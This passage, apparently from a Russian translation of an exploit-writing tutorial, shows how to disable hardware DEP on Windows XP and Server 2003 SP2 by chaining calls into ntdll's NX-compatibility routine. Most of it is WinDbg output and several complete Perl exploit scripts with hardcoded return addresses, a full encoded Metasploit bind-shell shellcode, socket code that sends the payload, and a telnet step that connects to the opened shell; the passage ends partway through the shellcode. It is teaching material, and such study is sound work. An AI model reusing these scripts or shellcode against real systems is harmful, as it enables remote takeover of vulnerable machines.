eax=0012e701 ebx=00000000 ecx=0012e569 edx=0012e700 esi=00000001 edi=00403388
eip=43434343 esp=0012e274 ebp=0012e264 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
43434343 ??              ???

Bingo! Поддержка NX была отключена, EIP указывает на наши строки «С», а ESP указывает на:

0:000> d esp
0012e274  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
0012e284  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
0012e294  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
0012e2a4  44 44 45 45 45 45 46 46-46 46 46 46 46 46 46 46  DDEEEEFFFFFFFFFF
0012e2b4  46 46 46 46 46 46 46 46-46 46 46 46 46 46 46 46  FFFFFFFFFFFFFFFF
0012e2c4  46 46 46 46 46 46 46 46-46 46 46 46 46 46 46 46  FFFFFFFFFFFFFFFF
0012e2d4  46 46 46 46 46 46 46 46-46 46 46 46 46 46 46 46  FFFFFFFFFFFFFFFF
0012e2e4  46 46 46 46 46 46 46 46-46 46 46 46 46 46 46 46  FFFFFFFFFFFFFFFF

Конечный эксплойт:

use strict;
use Socket;
my $junk = "A" x 508;

my $disabledep = pack('V',0x77eedc70);  #adjust EBP
$disabledep = $disabledep.pack('V',0x7c95371a);  #set eax to 1
$disabledep = $disabledep.pack('V',0x7c91cd44);  #run NX Disable routine
$disabledep = $disabledep.pack('V',0x7e47bcaf);  #jmp esp (user32.dll)

my $nops = "\x90" x 30;

# windows/shell_bind_tcp - 702 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, LPORT=5555, RHOST=
my $shellcode="\x89\xe0\xd9\xd0\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x43" .
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58" .
"\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42" .
"\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" .
"\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x42\x4a" .
"\x4a\x4b\x50\x4d\x4d\x38\x4c\x39\x4b\x4f\x4b\x4f\x4b\x4f" .
"\x45\x30\x4c\x4b\x42\x4c\x51\x34\x51\x34\x4c\x4b\x47\x35" .
"\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x44\x38\x45\x51\x4a\x4f" .
"\x4c\x4b\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x43\x31" .
"\x4a\x4b\x47\x39\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e" .
"\x50\x31\x49\x50\x4a\x39\x4e\x4c\x4c\x44\x49\x50\x42\x54" .
"\x45\x57\x49\x51\x48\x4a\x44\x4d\x45\x51\x48\x42\x4a\x4b" .
"\x4c\x34\x47\x4b\x46\x34\x46\x44\x51\x38\x42\x55\x4a\x45" .
"\x4c\x4b\x51\x4f\x51\x34\x43\x31\x4a\x4b\x43\x56\x4c\x4b" .
"\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b" .
"\x44\x43\x46\x4c\x4c\x4b\x4b\x39\x42\x4c\x51\x34\x45\x4c" .
"\x45\x31\x49\x53\x46\x51\x49\x4b\x43\x54\x4c\x4b\x51\x53" .
"\x50\x30\x4c\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x45\x4c" .
"\x4e\x4d\x4c\x4b\x51\x50\x44\x48\x51\x4e\x43\x58\x4c\x4e" .
"\x50\x4e\x44\x4e\x4a\x4c\x46\x30\x4b\x4f\x4e\x36\x45\x36" .
"\x51\x43\x42\x46\x43\x58\x46\x53\x47\x42\x45\x38\x43\x47" .
"\x44\x33\x46\x52\x51\x4f\x46\x34\x4b\x4f\x48\x50\x42\x48" .
"\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x46\x30\x4b\x4f\x48\x56" .
"\x51\x4f\x4c\x49\x4d\x35\x43\x56\x4b\x31\x4a\x4d\x45\x58" .
"\x44\x42\x46\x35\x43\x5a\x43\x32\x4b\x4f\x4e\x30\x45\x38" .
"\x48\x59\x45\x59\x4a\x55\x4e\x4d\x51\x47\x4b\x4f\x48\x56" .
"\x51\x43\x50\x53\x50\x53\x46\x33\x46\x33\x51\x53\x50\x53" .
"\x47\x33\x46\x33\x4b\x4f\x4e\x30\x42\x46\x42\x48\x42\x35" .
"\x4e\x53\x45\x36\x50\x53\x4b\x39\x4b\x51\x4c\x55\x43\x58" .
"\x4e\x44\x45\x4a\x44\x30\x49\x57\x46\x37\x4b\x4f\x4e\x36" .
"\x42\x4a\x44\x50\x50\x51\x50\x55\x4b\x4f\x48\x50\x45\x38" .
"\x49\x34\x4e\x4d\x46\x4e\x4a\x49\x50\x57\x4b\x4f\x49\x46" .
"\x46\x33\x50\x55\x4b\x4f\x4e\x30\x42\x48\x4d\x35\x51\x59" .
"\x4c\x46\x51\x59\x51\x47\x4b\x4f\x49\x46\x46\x30\x50\x54" .
"\x46\x34\x50\x55\x4b\x4f\x48\x50\x4a\x33\x43\x58\x4b\x57" .
"\x43\x49\x48\x46\x44\x39\x51\x47\x4b\x4f\x4e\x36\x46\x35" .
"\x4b\x4f\x48\x50\x43\x56\x43\x5a\x45\x34\x42\x46\x45\x38" .
"\x43\x53\x42\x4d\x4b\x39\x4a\x45\x42\x4a\x50\x50\x50\x59" .
"\x47\x59\x48\x4c\x4b\x39\x4d\x37\x42\x4a\x47\x34\x4c\x49" .
"\x4b\x52\x46\x51\x49\x50\x4b\x43\x4e\x4a\x4b\x4e\x47\x32" .
"\x46\x4d\x4b\x4e\x50\x42\x46\x4c\x4d\x43\x4c\x4d\x42\x5a" .
"\x46\x58\x4e\x4b\x4e\x4b\x4e\x4b\x43\x58\x43\x42\x4b\x4e" .
"\x48\x33\x42\x36\x4b\x4f\x43\x45\x51\x54\x4b\x4f\x48\x56" .
"\x51\x4b\x46\x37\x50\x52\x50\x51\x50\x51\x50\x51\x43\x5a" .
"\x45\x51\x46\x31\x50\x51\x51\x45\x50\x51\x4b\x4f\x4e\x30" .
"\x43\x58\x4e\x4d\x49\x49\x44\x45\x48\x4e\x46\x33\x4b\x4f" .
"\x48\x56\x43\x5a\x4b\x4f\x4b\x4f\x50\x37\x4b\x4f\x4e\x30" .
"\x4c\x4b\x51\x47\x4b\x4c\x4b\x33\x49\x54\x42\x44\x4b\x4f" .
"\x48\x56\x51\x42\x4b\x4f\x48\x50\x43\x58\x4a\x50\x4c\x4a" .
"\x43\x34\x51\x4f\x50\x53\x4b\x4f\x4e\x36\x4b\x4f\x48\x50" .
"\x41\x41";

# initialize host and port
my $host = shift || 'forum.reverse4you.org';
my $port = shift || 200;
my $proto = getprotobyname('tcp');
# get the port address
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($port, $iaddr);
print "[+] Setting up socket\n";
# create the socket, connect to the port
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
print "[+] Connecting to $host on port $port\n";
connect(SOCKET, $paddr) or die "connect: $!";
print "[+] Sending payload\n";
my $payload = $junk.$disabledep.$nops.$shellcode."\n";
print SOCKET $payload."\n";
print "[+] Payload sent, ".length($payload)." bytes\n";
close SOCKET or die "close: $!";
system('telnet '.$host.' 5555');

Обратите внимае, этот эксплойт будет работать даже, если NX/HW DEP не включен.

Отключение HW DEP (Windows 2003 SP2): Демонстрация

В Windows 2003 SP2 были добавлены дополнительные проверки (к старым CMP AL и EBP была добавлена проверка, завязанная на ESI). Результатом этих изменений стало то, что теперь нам нужно не только в EBP, но и в ESI указать адрес доступный для записи, чтобы наш эксплойт смог снова работать.

В Windows 2003 Server Standard R2 SP2 (English), функция ntdll!LdrpCheckNXCompatibility выглядит следующим образом:

0:000> uf ntdll!LdrpCheckNXCompatibility
ntdll!LdrpCheckNXCompatibility:
7c8343b4 8bff            mov     edi,edi
7c8343b6 55              push    ebp
7c8343b7 8bec            mov     ebp,esp
7c8343b9 51              push    ecx
7c8343ba 833db4a9887c00  cmp     dword ptr [ntdll!Kernel32BaseQueryModuleData (7c88a9b4)],0
7c8343c1 7441            je      ntdll!LdrpCheckNXCompatibility+0x5f (7c834404)

ntdll!LdrpCheckNXCompatibility+0xf:
7c8343c3 8365fc00        and     dword ptr [ebp-4],0
7c8343c7 56              push    esi
7c8343c8 8b7508          mov     esi,dword ptr [ebp+8]
7c8343cb 56              push    esi
7c8343cc e899510000      call    ntdll!LdrpCheckSafeDiscDll (7c83956a)
7c8343d1 3c01            cmp     al,1
7c8343d3 0f846eb10000    je      ntdll!LdrpCheckNXCompatibility+0x2b (7c83f547)

ntdll!LdrpCheckNXCompatibility+0x21:
7c8343d9 56              push    esi
7c8343da e8e4520000      call    ntdll!LdrpCheckAppDatabase (7c8396c3)
7c8343df 84c0            test    al,al
7c8343e1 0f8560b10000    jne     ntdll!LdrpCheckNXCompatibility+0x2b (7c83f547)

ntdll!LdrpCheckNXCompatibility+0x34:
7c8343e7 56              push    esi
7c8343e8 e8e4510000      call    ntdll!LdrpCheckNxIncompatibleDllSection (7c8395d1)
7c8343ed 84c0            test    al,al
7c8343ef 0f85272c0100    jne     ntdll!LdrpCheckNXCompatibility+0x3e (7c84701c)

ntdll!LdrpCheckNXCompatibility+0x45:
[B][COLOR="red"]7c8343f5 837dfc00        cmp     dword ptr [ebp-4],0[/COLOR][/B]
7c8343f9 0f854fb10000    jne     ntdll!LdrpCheckNXCompatibility+0x4b (7c83f54e)

ntdll!LdrpCheckNXCompatibility+0x5a:
[B][COLOR="red"]7c8343ff 804e3780        or      byte ptr [esi+37h],80h[/COLOR][/B]
7c834403 5e              pop     esi

ntdll!LdrpCheckNXCompatibility+0x5f:
7c834404 c9              leave
7c834405 c20400          ret     4

ntdll!LdrpCheckNXCompatibility+0x2b:
7c83f547 c745fc02000000  mov     dword ptr [ebp-4],offset <Unloaded_elp.dll>+0x1 (00000002)

ntdll!LdrpCheckNXCompatibility+0x4b:
7c83f54e 6a04            push    4
7c83f550 8d45fc          lea     eax,[ebp-4]
7c83f553 50              push    eax
7c83f554 6a22            push    22h
7c83f556 6aff            push    0FFFFFFFFh
7c83f558 e80085feff      call    ntdll!ZwSetInformationProcess (7c827a5d)
7c83f55d e99d4effff      jmp     ntdll!LdrpCheckNXCompatibility+0x5a (7c8343ff)

ntdll!LdrpCheckNXCompatibility+0x3e:
7c84701c c745fc02000000  mov     dword ptr [ebp-4],offset <Unloaded_elp.dll>+0x1 (00000002)
7c847023 e9cdd3feff      jmp     ntdll!LdrpCheckNXCompatibility+0x45 (7c8343f5)

Итак, когда было выполненно сравнение значения в [EBP-4], происходит переход на адрес 7c83f54, после чего идет вызов ZwSetInformationProcess (по адресу 0x7c827a5d):

ntdll!LdrpCheckNXCompatibility+0x4b:
7c83f54e 6a04            push    4
7c83f550 8d45fc          lea     eax,[ebp-4]
7c83f553 50              push    eax
7c83f554 6a22            push    22h
7c83f556 6aff            push    0FFFFFFFFh
7c83f558 e80085feff      call    ntdll!ZwSetInformationProcess (7c827a5d)
7c83f55d e99d4effff      jmp     ntdll!LdrpCheckNXCompatibility+0x5a (7c8343ff)
7c83f562 0fb6fd          movzx   edi,ch

0:000> u 7c827a5d
ntdll!ZwSetInformationProcess:
7c827a5d b8ed000000      mov     eax,0EDh
7c827a62 ba0003fe7f      mov     edx,offset SharedUserData!SystemCallStub (7ffe0300)
7c827a67 ff12            call    dword ptr [edx]
7c827a69 c21000          ret     10h
7c827a6c 90              nop
ntdll!NtSetInformationThread:
7c827a6d b8ee000000      mov     eax,0EEh
7c827a72 ba0003fe7f      mov     edx,offset SharedUserData!SystemCallStub (7ffe0300)
7c827a77 ff12            call    dword ptr [edx]

После выполнения этой процедуры, поток управления возвращается обратно в вызывающую функцию, на адрес 0x7c8343ff:

ntdll!LdrpCheckNXCompatibility+0x5a:
7c8343ff 804e3780        or      byte ptr [esi+37h],80h
7c834403 5e              pop     esi

ntdll!LdrpCheckNXCompatibility+0x5f:
7c834404 c9              leave
7c834405 c20400          ret     4

В это место, и была добавлена дополнительная проверка, связанная с ESI.

Мы уже знаем, как изменить содержимое EBP (чтобы он указывал на доступное для записи место в памяти), теперь нам нужно научиться делать тоже самое и для ESI. Кроме того, здесь, нам нужно рассмотреть различные инструкции для осуществеления прехода и проследить за содержимым регистров. Стоит заметить одну вещь, связанную с нашим приложеним «vulnsrv.exe», которая заключается в том, что всё что будет помещен в ESI, будет позже использовано для перехода (jump).

Давайте посмотрим, что произойдет, когда мы используем приведенный ниже код эксплойта, в котором будут использоваться следующие 2 адреса для корректировки ESI и EBP:

  • 0x71c0db30 : корректирует ESI (push esp, pop esi, ret)
  • 0x77c177f8 : корректирует EBP (push esp, pop ebp, ret)

use strict;
use Socket;
my $junk = "A" x 508;
my $disabledep = pack('V',0x71c0db30);  #adjust esi
$disabledep = $disabledep.pack('V',0x77c177f8); # adjust ebp
$disabledep = $disabledep.pack('V',0x7c86311d);  #set eax to 1
$disabledep=  $disabledep."FFFF"; #4 bytes padding
$disabledep = $disabledep.pack('V',0x7c8343f5);  #run NX Disable routine
$disabledep = $disabledep."FFFF"; #4 more bytes padding
$disabledep = $disabledep.pack('V',0x773ebdff);  #jmp esp (user32.dll)

my $nops = "\x90" x 30;
my $shellcode="\xcc" x 700;

# initialize host and port
my $host = shift || 'forum.reverse4you.org';
my $port = shift || 200;
my $proto = getprotobyname('tcp');
# get the port address
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($port, $iaddr);
print "[+] Setting up socket\n";
# create the socket, connect to the port
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
print "[+] Connecting to $host on port $port\n";
connect(SOCKET, $paddr) or die "connect: $!";
print "[+] Sending payload\n";
my $payload = $junk.$disabledep.$nops.$shellcode."\n";
print SOCKET $payload."\n";
print "[+] Payload sent, ".length($payload)." bytes\n";
close SOCKET or die "close: $!";
system('telnet '.$host.' 5555');

Откройте «vulnsrv.exe» в WinDbg, и установите брейкпойнт на 0x7c8343f5 (в место, где происходит вызов процедуры отключения NX). Затем запустите «vulnsrc» (возможно, придется нажать несколько раз «F5»), затем запустите код эксплойта, после чего вы увидите следующее:

Сработал брейкпойнт:

Breakpoint 0 hit
eax=0012e70[B][COLOR="red"]1[/COLOR][/B] ebx=00000000 ecx=0012e559 edx=0012e700 [B][COLOR="red"]esi=0012e264[/COLOR][/B] edi=00403388
eip=7c8343f5 esp=0012e274 [B][COLOR="red"]ebp=0012e268[/COLOR][/B] iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!LdrpCheckNXCompatibility+0x45:
7c8343f5 837dfc00        cmp     dword ptr [ebp-4],0  ss:0023:0012e264=0012e268

Оба регистра ESI и EBP сейчас указывают на память рядом со стеком. Младший бит EAX соедржит 1, что указывает на то, что инструкцию «MOV AL, 1» работает.

Теперь протрассируйте инструкции (с помощью команды «t»):

0:000> t
eax=0012e701 ebx=00000000 ecx=0012e559 edx=0012e700 esi=0012e264 edi=00403388
eip=7c8343f9 esp=0012e274 ebp=0012e268 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!LdrpCheckNXCompatibility+0x49:
7c8343f9 0f854fb10000    jne     ntdll!LdrpCheckNXCompatibility+0x4b (7c83f54e) [br=1]
0:000> t
eax=0012e701 ebx=00000000 ecx=0012e559 edx=0012e700 esi=0012e264 edi=00403388
eip=7c83f54e esp=0012e274 ebp=0012e268 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!LdrpCheckNXCompatibility+0x4b:
7c83f54e 6a04            push    4
0:000> t
eax=0012e701 ebx=00000000 ecx=0012e559 edx=0012e700 esi=0012e264 edi=00403388
eip=7c83f550 esp=0012e270 ebp=0012e268 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!LdrpCheckNXCompatibility+0x4d:
7c83f550 8d45fc          lea     eax,[ebp-4]
0:000> t
eax=0012e264 ebx=00000000 ecx=0012e559 edx=0012e700 esi=0012e264 edi=00403388
eip=7c83f553 esp=0012e270 ebp=0012e268 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!LdrpCheckNXCompatibility+0x50:
7c83f553 50              push    eax
0:000> t
eax=0012e264 ebx=00000000 ecx=0012e559 edx=0012e700 esi=0012e264 edi=00403388
eip=7c83f554 esp=0012e26c ebp=0012e268 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!LdrpCheckNXCompatibility+0x51:
7c83f554 6a22            push    22h
0:000> t
eax=0012e264 ebx=00000000 ecx=0012e559 edx=0012e700 esi=0012e264 edi=00403388
eip=7c83f556 esp=0012e268 ebp=0012e268 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!LdrpCheckNXCompatibility+0x53:
7c83f556 6aff            push    0FFFFFFFFh
0:000> t
eax=0012e264 ebx=00000000 ecx=0012e559 edx=0012e700 esi=0012e264 edi=00403388
eip=7c83f558 esp=0012e264 ebp=0012e268 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!LdrpCheckNXCompatibility+0x55:
7c83f558 e80085feff      call    ntdll!ZwSetInformationProcess (7c827a5d)
0:000> t
eax=0012e264 ebx=00000000 ecx=0012e559 edx=0012e700 esi=0012e264 edi=00403388
eip=7c827a5d esp=0012e260 ebp=0012e268 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!ZwSetInformationProcess:
7c827a5d b8ed000000      mov     eax,0EDh
0:000> t
eax=000000ed ebx=00000000 ecx=0012e559 edx=0012e700 esi=0012e264 edi=00403388
eip=7c827a62 esp=0012e260 ebp=0012e268 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!NtSetInformationProcess+0x5:
7c827a62 ba0003fe7f      mov     edx,offset SharedUserData!SystemCallStub (7ffe0300)
0:000> t
eax=000000ed ebx=00000000 ecx=0012e559 edx=7ffe0300 esi=0012e264 edi=00403388
eip=7c827a67 esp=0012e260 ebp=0012e268 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!NtSetInformationProcess+0xa:
7c827a67 ff12            call    dword ptr [edx]      ds:0023:7ffe0300={ntdll!KiFastSystemCall (7c828608)}
0:000> t
eax=000000ed ebx=00000000 ecx=0012e559 edx=7ffe0300 esi=0012e264 edi=00403388
eip=7c828608 esp=0012e25c ebp=0012e268 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!KiFastSystemCall:
7c828608 8bd4            mov     edx,esp
0:000> t
eax=000000ed ebx=00000000 ecx=0012e559 edx=0012e25c esi=0012e264 edi=00403388
eip=7c82860a esp=0012e25c ebp=0012e268 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!KiFastSystemCall+0x2:
7c82860a 0f34            sysenter
0:000> t
eax=c000000d ebx=00000000 ecx=00000001 edx=ffffffff esi=0012e264 edi=00403388
eip=7c827a69 esp=0012e260 ebp=0012e268 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!NtSetInformationProcess+0xc:
7c827a69 c21000          ret     10h
0:000> t
eax=c000000d ebx=00000000 ecx=00000001 edx=ffffffff esi=0012e264 edi=00403388
eip=7c83f55d esp=0012e274 ebp=0012e268 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!LdrpCheckNXCompatibility+0x5a:
7c83f55d e99d4effff      jmp     ntdll!LdrpCheckNXCompatibility+0x5a (7c8343ff)
0:000> t
eax=c000000d ebx=00000000 ecx=00000001 edx=ffffffff esi=0012e264 edi=00403388
eip=7c8343ff esp=0012e274 ebp=0012e268 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!LdrpCheckNXCompatibility+0x5a:
7c8343ff 804e3780        or      byte ptr [esi+37h],80h     ds:0023:0012e29b=cc
0:000> t
eax=c000000d ebx=00000000 ecx=00000001 edx=ffffffff esi=0012e264 edi=00403388
eip=7c834403 esp=0012e274 ebp=0012e268 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286
ntdll!LdrpCheckNXCompatibility+0x5e:
7c834403 5e              pop     esi
0:000> t
eax=c000000d ebx=00000000 ecx=00000001 edx=ffffffff esi=46464646 edi=00403388
eip=7c834404 esp=0012e278 ebp=0012e268 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286
ntdll!LdrpCheckNXCompatibility+0x5f:
7c834404 c9              leave
0:000> t
eax=c000000d ebx=00000000 ecx=00000001 edx=ffffffff esi=46464646 edi=00403388
eip=7c834405 esp=0012e26c ebp=00000022 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286
ntdll!LdrpCheckNXCompatibility+0x60:
7c834405 c20400          ret     4
0:000> t
eax=c000000d ebx=00000000 ecx=00000001 edx=ffffffff esi=46464646 edi=00403388
eip=0012e264 esp=0012e274 ebp=00000022 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286
0012e264 ff              ???

Хорошо, что мы здесь видим: когда функция выполняет возврат, исходное значение ESI (0x0012e264) помещается в EIP.

Если посмотрим на EIP, то увидим «ff ff ff ff» (которые также есть и в EDX):

0:000> d eip
0012e264  ff ff ff ff 22 00 00 00-64 e2 12 00 04 00 00 00  ...."...d.......
0012e274  46 46 46 46 ff bd 3e 77-90 90 90 90 90 90 90 90  FFFF..>w........
0012e284  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0012e294  90 90 90 90 90 90 cc cc-cc cc cc cc cc cc cc cc  ................
0012e2a4  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
0012e2b4  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
0012e2c4  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
0012e2d4  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................

Шеллкод уже не так далек от рабочего состояния… Хорошо, давайте поиграем с ESI и EBP. Сначала, давайте поменяем местами последовательность выполнения корректировок EBX и ESI, т.е. сначала скорректируем EBP, а затем ESI.

use strict;
use Socket;
my $junk = "A" x 508;
my $disabledep = pack('V',0x77c177f8);  #adjust ebp
$disabledep = $disabledep.pack('V',0x71c0db30);   #adjust esi
$disabledep = $disabledep.pack('V',0x7c86311d);  #set eax to 1
$disabledep=  $disabledep."GGGG";
$disabledep = $disabledep.pack('V',0x7c8343f5);  #run NX Disable routine
$disabledep = $disabledep."HHHH"; #padding
$disabledep = $disabledep.pack('V',0x773ebdff);  #jmp esp (user32.dll)

my $nops = "\x90" x 30;
my $shellcode="\xcc" x 700;

# initialize host and port
my $host = shift || 'forum.reverse4you.org';
my $port = shift || 200;
my $proto = getprotobyname('tcp');
# get the port address
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($port, $iaddr);
print "[+] Setting up socket\n";
# create the socket, connect to the port
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
print "[+] Connecting to $host on port $port\n";
connect(SOCKET, $paddr) or die "connect: $!";
print "[+] Sending payload\n";
my $payload = $junk.$disabledep.$nops.$shellcode."\n";
print SOCKET $payload."\n";
print "[+] Payload sent, ".length($payload)." bytes\n";
close SOCKET or die "close: $!";
system('telnet '.$host.' 5555');
(a50.a70): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012e761 ebx=00000000 ecx=0012e559 edx=0012e700 esi=0012e26c edi=00403388
eip=47474747 esp=0012e270 ebp=0012e264 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
47474747 ??              ???

Ага – это выглядит намного лучше. Сейчас EIP содержит 47474747 (GGGG). Нам даже не нужена инструкция «JMP ESP» (которая все еще присутствует в коде эксплойта из XP версии шеллкода), NOP’ы или байты HHHH (padding):

ESP содержит:

0:000> d esp
0012e270  f5 43 83 7c 48 48 48 48-ff bd 3e 77 90 90 90 90  .C.|HHHH..>w....
0012e280  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0012e290  90 90 90 90 90 90 90 90-90 90 cc cc cc cc cc cc  ................
0012e2a0  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
0012e2b0  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
0012e2c0  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
0012e2d0  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
0012e2e0  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................

В данный момент, есть несколько способов , чтобы добраться до нашего шеллкода. Посмотрев на другие регистры, вы увидите, что, например, EDX указывает на 0x0012e700, который находится почти в конце шеллкода. Так что, если мы сможем перейти (jump) на EDX, и поместить, по адресу на который он указывает код, который совершит переход назад (jump back), то наш шеллкод будет работать.

JMP EDX (user32.dll): 0x773eb603.

После выполнения некоторых расчетов, мы сможем создать следующий буфер:

[jmp edx][10 nops][shellcode][more nops until edx][jump back].

Если мы хотим иметь некоторое пространство памяти для шеллкода, то мы можем поместить 500 нупов (NOP), после шеллкода. EDX будет указывать на адрес 0x0012e900, который будет находится где-то в полседних 50-ти нупах из 500-та доступных. Таким образом, если мы поместим jumpcode, примерно, после 480 нупов, и выполним там переход назад (jumpcode back) на нупы до шеллкода, то мы получим рабочий эксплойт.

use strict;
use Socket;
my $junk = "A" x 508;
my $disabledep = pack('V',0x77c177f8);  #adjust ebp
$disabledep = $disabledep.pack('V',0x71c0db30);   #adjust esi
$disabledep = $disabledep.pack('V',0x7c86311d);  #set eax to 1
$disabledep=  $disabledep.pack('V',0x773eb603);  #jmp edx user32.dll
$disabledep = $disabledep.pack('V',0x7c8343f5);  #run NX Disable routine

my $nops1 = "\x90" x 10;
# windows/shell_bind_tcp - 702 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, LPORT=5555, RHOST=
my $shellcode="\x89\xe0\xd9\xd0\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x43" .
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58" .
"\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42" .
"\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" .
"\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x42\x4a" .
"\x4a\x4b\x50\x4d\x4d\x38\x4c\x39\x4b\x4f\x4b\x4f\x4b\x4f" .
"\x45\x30\x4c\x4b\x42\x4c\x51\x34\x51\x34\x4c\x4b\x47\x35" .
"\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x44\x38\x45\x51\x4a\x4f" .
"\x4c\x4b\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x43\x31" .
"\x4a\x4b\x47\x39\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e" .
"\x50\x31\x49\x50\x4a\x39\x4e\x4c\x4c\x44\x49\x50\x42\x54" .
"\x45\x57\x49\x51\x48\x4a\x44\x4d\x45\x51\x48\x42\x4a\x4b" .
"\x4c\x34\x47\x4b\x46\x34\x46\x44\x51\x38\x42\x55\x4a\x45" .
"\x4c\x4b\x51\x4f\x51\x34\x43\x31\x4a\x4b\x43\x56\x4c\x4b" .
"\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b" .
"\x44\x43\x46\x4c\x4c\x4b\x4b\x39\x42\x4c\x51\x34\x45\x4c" .
"\x45\x31\x49\x53\x46\x51\x49\x4b\x43\x54\x4c\x4b\x51\x53" .
"\x50\x30\x4c\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x45\x4c" .
"\x4e\x4d\x4c\x4b\x51\x50\x44\x48\x51\x4e\x43\x58\x4c\x4e" .
"\x50\x4e\x44\x4e\x4a\x4c\x46\x30\x4b\x4f\x4e\x36\x45\x36" .
"\x51\x43\x42\x46\x43\x58\x46\x53\x47\x42\x45\x38\x43\x47" .
"\x44\x33\x46\x52\x51\x4f\x46\x34\x4b\x4f\x48\x50\x42\x48" .
"\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x46\x30\x4b\x4f\x48\x56" .
